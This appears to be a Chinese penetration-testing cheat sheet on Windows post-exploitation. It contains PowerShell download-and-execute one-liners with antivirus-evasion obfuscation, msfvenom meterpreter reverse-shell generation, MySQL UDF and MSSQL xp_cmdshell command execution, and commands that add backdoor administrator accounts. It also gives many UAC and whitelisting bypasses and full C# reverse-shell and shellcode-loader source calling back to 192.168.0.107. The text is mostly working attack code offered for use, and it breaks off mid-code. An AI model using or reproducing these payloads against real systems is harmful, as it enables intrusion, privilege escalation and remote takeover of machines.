使用powersploit的Invoke-ReflectivePEInjection.ps1脚本
#powershell.exe -w hidden -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/clymberps/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.0.107/1.exe -ForceASLR" 

EXE2PS1

http://192.168.0.107/ps/powersploit/CodeExecution/Convert-BinaryToString.ps1
将exe转换为base64
>Import-Module .\Convert-BinaryToString.ps1
>Convert-BinaryToString -FilePath .\ms15051.exe

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http://192.168.0.107/ps/powersploit/CodeExecution/Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection.ps1文件头部添加
Function MS15051{
<#
.SYNOPSIS    
.EXAMPLE
C:\PS> MS15051 -Command "whoami"
#>
 [CmdletBinding()]
    param(
        [Parameter(Mandatory = $False)]
        [string]
        $Command
  )
$InputString = "文件的base64编码"
$PEBytes = [System.Convert]::FromBase64String($InputString)
文件尾部添加
write-host ("[+] Executing Command: "+$Command)  -foregroundcolor "Green"
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs $Command 
write-host ("[+] Done !")  -foregroundcolor "Green"
}

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远程下载执行
>powershell -nop -w hidden -ep bypass "IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.0.107/ps/powersploit/CodeExecution/ms15051.ps1'); MS15051 –Command \"whoami\""

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绕过策略

>powershell Set-ExecutionPolicy Unrestricted需管理员权限,不受限执行
>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/Invoke-xxx.ps1');invoke-xxx"
>powershell -exec bypass -File ./a.ps1&>Import-Module xxx

Base64

>use exploit/multi/script/web_delivery|target=2(PSH)
&
>cat payload.txt | iconv --to-code UTF-16LE |base64
>powershell -ep bypass -enc base64code

写入bat绕过

powershell -exec bypass -File ./a.ps1 
将该命令保存为c.bat

拼接拆分字符串

powershell.exe  
"
$c1='powershell -c IEX'; 
$c2='(New-Object Net.WebClient).Downlo'; 
$c3='adString("http://192.168.197.192/a.ps1")'; 
echo ($c1,$c2,$c3) 
" 
先将命令拆分为字符串,然后进行拼接。echo修改为IEX执行。
powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://x.x.x.x/a'')'; $Text=$c2+$c3; IEX(-join $Text)

Replace替换函数

powershell -noexit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://192.168.0.108/1.ps1'')'.Replace('123','adString');IEX ($c1+$c2)" 

HTTP字符拼接绕过

也可以对http字符进行绕过,同样可以bypass
powershell "$a='IEX((new-object net.webclient).downloadstring("ht';$b='tp://192.168.197.192/a.ps1"))';IEX ($a+$b)"  

图片免杀

通过图片免杀执行powershell的脚本Invoke-PSImage.ps1,主要把payload分散存到图片的像素中,最后到远端执行时,再重新遍历重组像素中的payload执行。
https://github.com/peewpw/Invoke-PSImage
1900*1200的图片x.jpg。
C:\>powershell 
PS C:\> Import-Module .\Invoke-PSImage.ps1 
PS C:\> Invoke-PSImage -Script .\a.ps1 -Image .\x.jpg -Out .\reverse_shell.png -Web 
a.ps1是msf木马,-Out 生成reverse_shell.png图片,-Web 输出从web读取的命令。
将reverse_shell.png移动至web目录,替换url地址。在powershell下执行即可。

加载shellcode

msfvenom生成脚本木马
#msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.72.164 LPORT=4444 -f powershell -o /var/www/html/test  
在windows靶机上运行一下命令
PS >IEX(New-Object Net.WebClient).DownloadString("http://144.34.xx.xx/PowerSploit/CodeExecution/Invoke-Shellcode.ps1") 
PS >IEX(New-Object Net.WebClient).DownloadString("http://192.168.72.164/test") 
Invoke-Shellcode -Shellcode $buf -Force  运行木马 
使用Invoke-Shellcode.ps1脚本执行shellcode
即可反弹meterpreter shell

加载dll

使用msfvenom 生成dll木马脚本
>msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.72.164 lport=4444 -f dll -o /var/www/html/test.dll 
将生成的dll上传到目标的C盘。在靶机上执行以下命令
PS >IEX(New-Object Net.WebClient).DownloadString("http://144.34.xx.xx/PowerSploit/CodeExecution/Invoke-DllInjection.ps1") 
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden  
创建新的进程启动记事本,并设置为隐藏
Invoke-DllInjection -ProcessID xxx -Dll c:\test.dll 使用notepad的PID  
Msf
#use exploit/multi/handler
#set payload windows/x64/meterpreter/reverse_tcp
#run

Windows安全标识符(SID)

相对标识符 说明
500 管理员
501 来宾
502 密钥分发中心服务的服务账户
512 域管理员
513 域用户
514 域来宾
515 域计算机
516 域控制器
544 内置管理员
519 企业管理员

提权

Impacket工具包

https://github.com/maaaaz/impacket-examples-windows
https://github.com/SecureAuthCorp/impacket
#git clone https://github.com/CoreSecurity/impacket.git 
#cd impacket/ 
#python setup.py install

Windows-exploit-suggester

#pip install xlrd --upgrade
#./windows-exploit-suggester.py --update
#./windows-exploit-suggester.py --database 20xx-xx-xx-mssb.xlsx --systeminfo systeminfo.txt

Wesng

https://github.com/bitsadmin/wesng
>systeminfo >1.txt
>python wes.py 1.txt

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Searchsploit

使用方法
>searchsploit 软件 版本
查找常见补丁
https://bugs.hacking8.com/tiquan/
http://get-av.se7ensec.cn/index.php
https://patchchecker.com/checkprivs/
wmic查询补丁
wmic qfe list full|findstr /i hotfix
systeminfo>temp.txt&(for %i in (KB2271195 KB2124261 KB2160329 KB2621440  KB2707511 KB2829361 KB2864063 KB3000061 KB3045171 KB3036220 KB3077657 KB3079904 KB3134228 KB3124280 KB3199135) do @type temp.txt|@find /i  "%i"|| @echo %i Not Installed!)&del /f /q /a temp.txt
MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows 7/8) 
CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows 10/8.1/7/2016/2010/2008) 
CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008) 
MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows 7/2008/2003/XP) 
MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016) 
MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1) 
MS16-098 [KB3178466] [Kernel Driver] (Win 8.1) 
MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012) 
MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012) 
MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012) 
MS16-016 [KB3136041] [WebDAV] (2008/Vista/7) 
MS15-097 [KB3089656] [remote code execution] (win8.1/2012) 
MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012) 
MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012) 
MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012) 
MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012) 
MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8) 
MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2) 
MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8) 
MS14-070 [KB2989935] [Kernel Driver] (2003) 
MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8) 
MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8) 
MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8) 
MS14-002 [KB2914368] [NDProxy] (2003/XP) 
MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7) 
MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7) 
MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8) 
MS12-042 [KB2972621] [Service Bus] (2008/2012/win7) 
MS12-020 [KB2671387] [RDP] (2003/2008/7/XP) 
MS11-080 [KB2592799] [AFD.sys] (2003/XP) 
MS11-062 [KB2566454] [NDISTAPI] (2003/XP) 
MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP) 
MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista) 
MS10-092 [KB2305420] [Task Scheduler] (2008/7) 
MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5) 
MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista) 
MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7) 
MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP) 
MS10-012 [KB971468] [SMB Client Trans2 stack overflow] (Windows 7/2008R2) 
MS09-050 [KB975517] [Remote Code Execution] (2008/Vista) 
MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0) 
MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista) 
MS08-068 [KB957097] [Remote Code Execution] (2000/XP) 
MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008) 
MS08-066 [] [] (Windows 2000/XP/Server 2003) 
MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista) 
MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000) 
MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003)
MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)

激活guest

>net user guest /active:yes

MYSQL udf

Udf: sqlmap-master\udf\mysql\windows\
>python sqlmap/extra/cloak/cloak.py lib_mysqludf_sys.dll _ 
Mysql>5.1 udf.dll放置在lib\plugin 
Mysql<5.1 udf.dll放置在c:\windows\system32
#show variables like '%compile%'; 查看系统版本
#select @@plugin_dir 查看插件目录
放入udf
#select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll"; 
或将udf十六进制编码后写入
#select hex(load_file('udf_sys_64.dll')) into dumpfile '/tmp/udf.hex'; 
#select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000… into dump file "D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll";
或将udf base64编码后写入(MySQL 5.6.1和MariaDB 10.0.5)
#select to_base64(load_file('/usr/udf.dll')) into dumpfile '/tmp/udf.b64';
#select from_base64(“xxxxx”) into dumpfile "D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll";
或创建表拼接十六进制编码
#create table temp(data longblob); 
#insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d); 
#update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b3); 
#select data from temp into dump file "D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll";
或#insert into temp(data) values(hex(load_file('D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll')));
#SELECT unhex(cmd) FROM mysql.temp INTO DUMPFILE 'D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll ';
或使用快速导入数据
#load data infile '\\\\192.168.0.19\\network\\udf.hex'
#into table temp fields terminated by '@OsandaMalith' lines terminated by '@OsandaMalith' (data); 
#select unhex(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll';
创建函数
#create function cmdshell returns string soname 'udf.dll';
#create function sys_exec returns int soname 'udf.dll';
执行命令
#select cmdshell('whoami'); 
#select sys_exec(''whoami''); 
删除函数
#drop function cmdshell;
#drop function sys_exec;

MYSQL Linux Root

https://0xdeadbeef.info/exploits/raptor_udf2.c
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
$ mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
name ret dl type
do_system 2 raptor_udf2.so function
mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
mysql> \! sh
sh-2.05b$ cat /tmp/out
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

MSSQL

开启xp_cmdshell

xp_cmdshell

#exec sp_configure 'show advanced options', 1;reconfigure; 
#exec sp_configure 'xp_cmdshell',1;reconfigure;
#exec master.dbo.xp_cmdshell 'ipconfig'

xp_regwrite

xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\taskmgr.exe'

xp_dirtree

execute master..xp_dirtree 'c:' //列出所有c:\文件和目录,子目录 
execute master..xp_dirtree 'c:',1 //只列c:\文件夹 
execute master..xp_dirtree 'c:',1,1 //列c:\文件夹加文件 

sp_oacreate

exec sp_configure 'show advanced options', 1;RECONFIGURE;
exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;
执行命令
declare @shell int 
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123 123 /add'
declare @shell int 
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123/add'
删除文件
declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'c:\1.txt'
exec sp_oadestroy @fso_token
复制文件
declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'copyfile',null,'c:\1.txt','c:\2.txt'
移动文件
declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'movefile',null,'c:\1.txt','c:\2.txt'

沙盒执行

开启沙盒:
>exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
执行:
>select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')

WarSQLKit(后门)

http://eyupcelik.com.tr/guvenlik/493-mssql-fileless-rootkit-warsqlkit

MSF

发现补丁
#use post/windows/gather/enum_patches
列举可用EXP
#use post/multi/recon/local_exploit_suggester

Bypass UAC

MSF

>use exploit/windows/local/bypassuac 
>use exploit/windows/local/bypassuac_injection
>use exploit/windows/local/bypassuac_vbs
>use exploit/windows/local/bypassuac_fodhelper
>use exploit/windows/local/bypassuac_eventvwr
>use exploit/windows/local/bypassuac_comhijack

DccwBypassUAC

Use on win10&win8

image

K8uac

>k8uac.exe xx.exe
>k8uac.exe "command"

CMSTP

设置UAC和Applocker规则

image
image
image
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MSF生成恶意DLL传入靶机
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12138 -f dll -o /var/www/html/cm.dll

image

DLL同目录下建立run.inf,RegisterOCXSection指定dll位置,也可以指定远程webdav
如:\\192.168.0.107\webdav\cm.dll
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\Users\y.SUB2K8\Desktop\cm.dll
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="cmstp"
ShortSvcName="cmstp"
执行命令可绕过UAC和Applocker上线
>cmstp /s run.inf

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Uacme

包括DLL劫持,COM劫持等50多种bypass方法
https://github.com/hfiref0x/UACME

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使用visual studio编译
Visual Studio 2013v120;
Visual Studio 2015v140;
Visual Studio 2017v141;
Visual Studio 2019v142。
目前共59种bypassuac方式
执行方法是
>akagi.exe 1
>akagi.exe 1 c:\windows\system32\cmd.exe
>akagi.exe 1 "net user 1 1 /add"
注意:
方式5,9会对目标安全性产生影响,谨慎使用,5需重启
方式6从win8开始在x64上不可用
方式11,54只支持x32 
方式13,19,30,50只支持x64
方式14需要进程注入,x64要使用x64的工具

Bypass-UAC

https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC
>Bypass-UAC -Method UacMethodSysprep

image

Method:
UacMethodSysprep
ucmDismMethod
UacMethodMMC2
UacMethodTcmsetup
UacMethodNetOle32

DLL hijack

程序运行,调用DLL的流程
1.程序所在目录
2.系统目录即 SYSTEM32 目录
3.16位系统目录即 SYSTEM 目录
4.Windows目录
5.加载 DLL 时所在的当前目录
6.PATH环境变量中列出的目录
使用
https://docs.microsoft.com/zh-cn/sysinternals/downloads/sigcheck
检查一个程序的是否以高权限执行
>sigcheck.exe -m c:\1.exe
查看autoElevate是否为true

image

使用process monitor查看对应程序执行时调用的DLL情况,查找DLL不在
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs列表中,并且所在文件夹当前用户可读写,接下来生成恶意dll备份原DLL替换,再运行此程序即可劫持成功。

SilentCleanup

>reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM "
>schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Sdclt

win10
1
>reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /t REG_SZ /d %COMSPEC% /f 获得管理员权限
>sdclt 弹出cmd
>reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /f 清除痕迹
2
https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1
>Invoke-SDCLTBypass -Command "c:\windows\system32\cmd.exe /c C:\Windows\regedit.exe"
>sdclt.exe /KickOffElev

Makecab&Wusa

复制文件出错时

image

>makecab PsExec64.exe C:\Users\y.ZONE\Desktop\ps.cab
>wusa C:\Users\y.ZONE\Desktop\ps.cab /extract:C:\Windows\system32\

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CLR BypassUAC

Tested on win10 x64
生成dll传入受控机temp目录,以下保存为1.bat执行。
REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\Temp\test.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER_PATH" /t REG_SZ /d "C:\Temp\test.dll" /f
受控机执行gpedit.msc或eventvwr等高权限.net程序时可劫持成功。

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执行后

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image
image

eventvwr劫持注册表

打开ProcessMonitor,启动eventvwr,ctrl+T打开进程树,选择进程转到事件

image

右键选择包括eventvwr.exe

image

只选择显示注册表活动

image

添加一条过滤器,显示not found文件

image

找到相应的注册表位置

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值修改为

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MSF监听,再次打开eventvwr

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Web Delivery

>use exploit/multi/script/web_delivery
>set target 3
>set payload windows/x64/meterpreter/reverse_tcp
>exploit
>use auxiliary/server/regsvr32_command_delivery_server
>set cmd ipconfig
>use exploit/windows/misc/regsvr32_applocker_bypass_server

Invoke-PsUACme

method="sysprep","oobe","ActionQueue","migwiz","cliconfg","winsat","mmc"
>Invoke-PsUACme -method oobe -Payload "c:\user\a\desktop\x.exe"
需指定绝对路径
>Invoke-PsUACme -method oobe -Payload "powershell -w hidden -e xxxxxx"
>Invoke-PsUACme -Payload "powershell -noexit IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/powersploit/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"
MSFVENOM生成psh-reflection格式脚本
>Invoke-PsUACme –Payload "powershell c:\1.ps1"

Whitelist(白名单)

GreatSCT

>git clone https://github.com/GreatSCT/GreatSCT.git
>cd GreatSCT/setup&./setup.sh
>use Bypass
>list
>use regasm/meterpreter/rev_tcp.py
>msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

JSRat

>JSRat.py -i 192.168.1.107 -p 4444

Odbcconf.exe

>odbcconf.exe /a {regsvr C:\shell.dll} 可以是任意后缀

Msiexec.exe

>msiexec /y c:\user\admin\desktop\1.dll
>msiexec /q /i http://192.168.0.107/dll.dll

InstallUtil.exe

>C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:y.exe  /unsafe C:\Users\y\Desktop\1.cs
using System;
using System.Net;
using System.Linq;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
using System.Configuration.Install;
using System.Windows.Forms;
public class GQLBigHgUniLuVx {
    public static void Main()
    {
        while(true)
        {{ MessageBox.Show("doge"); Console.ReadLine();}}
    }
}
[System.ComponentModel.RunInstaller(true)]
public class esxWUYUTWShqW : System.Configuration.Install.Installer
{
    public override void Uninstall(System.Collections.IDictionary zWrdFAUHmunnu)
    {
        jkmhGrfzsKQeCG.LCIUtRN();
    }
}
public class jkmhGrfzsKQeCG
{ [DllImport("kernel")] private static extern UInt32 VirtualAlloc(UInt32 YUtHhF,UInt32 VenifEUR, UInt32 NIHbxnOmrgiBGL, UInt32 KIheHEUxhAfOI);
[DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 GDmElasSZbx, UInt32 rGECFEZG, UInt32 UyBSrAIp,IntPtr sPEeJlufmodo, UInt32 jmzHRQU, ref UInt32 SnpQPGMvDbMOGmn);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr pRIwbzTTS, UInt32 eRLAWWYQnq);
static byte[] ErlgHH(string ZwznjBJY,int KsMEeo) {
IPEndPoint qAmSXHOKCbGlysd = new IPEndPoint(IPAddress.Parse(ZwznjBJY), KsMEeo);
Socket XXxIoIXNCle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try { XXxIoIXNCle.Connect(qAmSXHOKCbGlysd); }
catch { return null;}
byte[] UmquAHRnhhpuE = new byte[4];
XXxIoIXNCle.Receive(UmquAHRnhhpuE,4,0);
int kFVRSNnpj = BitConverter.ToInt32(UmquAHRnhhpuE,0);
byte[] qaYyFq = new byte[kFVRSNnpj +5];
int SRCDELibA =0;
while(SRCDELibA < kFVRSNnpj)
{ SRCDELibA += XXxIoIXNCle.Receive(qaYyFq, SRCDELibA +5,(kFVRSNnpj - SRCDELibA)<4096 ? (kFVRSNnpj - SRCDELibA) : 4096,0);}
byte[] TvvzOgPLqwcFFv =BitConverter.GetBytes((int)XXxIoIXNCle.Handle);
Array.Copy(TvvzOgPLqwcFFv,0, qaYyFq,1,4); qaYyFq[0]=0xBF;
return qaYyFq;}
static void cmMtjerv(byte[] HEHUjJhkrNS) {
if(HEHUjJhkrNS !=null) {
UInt32 WcpKfU = VirtualAlloc(0,(UInt32)HEHUjJhkrNS.Length,0x1000,0x40);
Marshal.Copy(HEHUjJhkrNS,0,(IntPtr)(WcpKfU), HEHUjJhkrNS.Length);
IntPtr UhxtIFnlOQatrk = IntPtr.Zero;
UInt32 wdjYKFDCCf =0;
IntPtr XVYcQxpp = IntPtr.Zero;
UhxtIFnlOQatrk = CreateThread(0,0, WcpKfU, XVYcQxpp,0, ref wdjYKFDCCf);
WaitForSingleObject(UhxtIFnlOQatrk,0xFFFFFFFF); }}
public static void LCIUtRN() {
byte[] IBtCWU =null; IBtCWU = ErlgHH("192.168.0.107",12138);
cmMtjerv(IBtCWU);
} }
生成exe后执行
>C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\y\Desktop\y.exe
MSF监听12138端口

Compiler.exe

>C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe 1.xml 1.tcp

image

1.xml
<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>1.tcp</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true"/>
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>
1.tcp
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using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Workflow.Activities;
public class Program : SequentialWorkflowActivity
{
static StreamWriter streamWriter;
public Program()
{
using(TcpClient client = new TcpClient("192.168.0.107", 12138))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
>msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.107 LPORT=12138 -f csharp
>C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe 1.xml 1.cs

image

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using System.Workflow.Activities;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
class yrDaTlg : SequentialWorkflowActivity {
[DllImport("kernel32")] private static extern IntPtr VirtualAlloc(UInt32 rCfMkmxRSAakg,UInt32 qjRsrljIMB, UInt32 peXiTuE, UInt32 AkpADfOOAVBZ);
[DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr DStOGXQMMkP, uint CzzIpcuQppQSTBJ, uint JCFImGhkRqtwANx, out uint exgVpSg);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 eisuQbXKYbAvA, UInt32 WQATOZaFz, IntPtr AEGJQOn,IntPtr SYcfyeeSgPl, UInt32 ZSheqBwKtDf, ref UInt32 SZtdSB);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr KqJNFlHpsKOV, UInt32 EYBOArlCLAM);
public yrDaTlg() {
byte[] QWKpWKhcs =
{SHELLCODE
};
IntPtr AmnGaO = VirtualAlloc(0, (UInt32)QWKpWKhcs.Length, 0x3000, 0x04);
Marshal.Copy(QWKpWKhcs, 0, (IntPtr)(AmnGaO), QWKpWKhcs.Length);
IntPtr oXmoNUYvivZlXj = IntPtr.Zero; UInt32 XVXTOi = 0; IntPtr pAeCTfwBS = IntPtr.Zero;
uint BnhanUiUJaetgy;
